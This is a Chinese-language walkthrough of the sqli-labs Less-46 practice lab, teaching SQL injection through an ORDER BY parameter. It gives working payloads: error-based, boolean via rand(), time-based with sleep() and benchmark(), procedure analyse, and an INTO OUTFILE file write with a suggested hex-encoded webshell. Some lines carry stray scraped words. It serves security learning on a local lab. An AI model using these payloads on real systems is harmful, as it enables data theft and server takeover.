Sqli-labs Less-46 order by後的注入

從本關開始,咱們開始學習order by 相關注入的知識。html

本關的sql語句爲
mysql

$id=$_GET['sort'];    
$sql = "SELECT * FROM users ORDER BY $id";

嘗試?sort=1 desc或者asc,顯示結果不一樣,則代表能夠注入。(降序or升序排列)sql

從上述的sql語句中咱們能夠看出,咱們的注入點在order by後面的參數中,而order by不一樣於咱們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,咱們先來了解一下mysql官方select的文檔。函數

咱們可利用order by後的一些參數進行注入。學習

 

1、首先order by 後的數字能夠做爲一個注入點。spa

也就是構造order by 後的一個語句,讓該語句執行結果爲一個數。咱們嘗試code

http://127.0.0.1/sql/Less-46/?sort=right(version(),1)orm

沒有報錯,可是right換成left都同樣,說明數字沒有起做用,咱們考慮布爾類型。此時咱們能夠用報錯注入和延時注入。xml

此處能夠直接構造 ?sort= 後面的一個參數。此時,咱們能夠有三種形式,htm

①直接添加註入語句,?sort=(select ******)

②利用一些函數。例如rand()函數等。?sort=rand(sql語句)

Ps:此處咱們能夠展現一下rand(ture)和rand(false)的結果是不同的。

③利用and,例如?sort=1 and (加sql語句)。

同時,sql語句能夠利用報錯注入和延時注入的方式,語句咱們能夠很靈活的構造。

報錯注入例子

http://127.0.0.1/sql/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

上述例子,能夠看到root@localhost的用戶名

 

接下來咱們用rand()進行演示一下,由於上面提到rand(true)和 rand(false)結果是不同的。

http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=115)

http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=116)

從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,能夠看出報錯注入是成功的。

 

延時注入例子

http://127.0.0.1/sql/Less-46/?sort=(select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)

http://127.0.0.1/sql/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

上述兩個延時注入的例子能夠很明顯的看出時間的不一樣,這裏就不貼圖了,圖片沒法展現延時。。。

 

同時也能夠用?sort=1 and 後添加註入語句。這裏就不一一演示了。

 

2、procedure analyse參數注入

利用procedure analyse參數,咱們能夠執行報錯注入。同時,在procedure analyse和order by之間能夠存在limit參數,咱們在實際應用中,每每也可能會存在limit後的注入,能夠利用procedure analyse進行注入。

參考:http://www.javashuo.com/article/p-ueporont-gy.html

如下爲示範例

http://127.0.0.1/sql/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

PS:個人mysql報錯了,不明白爲何?難道是版本的問題?(個人版本是5.6.17)

 

3、導入導出文件into outfile參數注入

將查詢結果導入到文件當中

http://127.0.0.1/sql/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt"

查看這個文件,發現導入成功。

那這個時候咱們能夠考慮上傳網馬,利用lines terminated by。

Into outtfile D:\\software\\wamp\\www\\sql\\test1.txt lines terminated by 0x(網馬進行16進制轉換)

 

參考:http://www.javashuo.com/article/p-foifewiy-ha.html

相關文章
相關標籤/搜索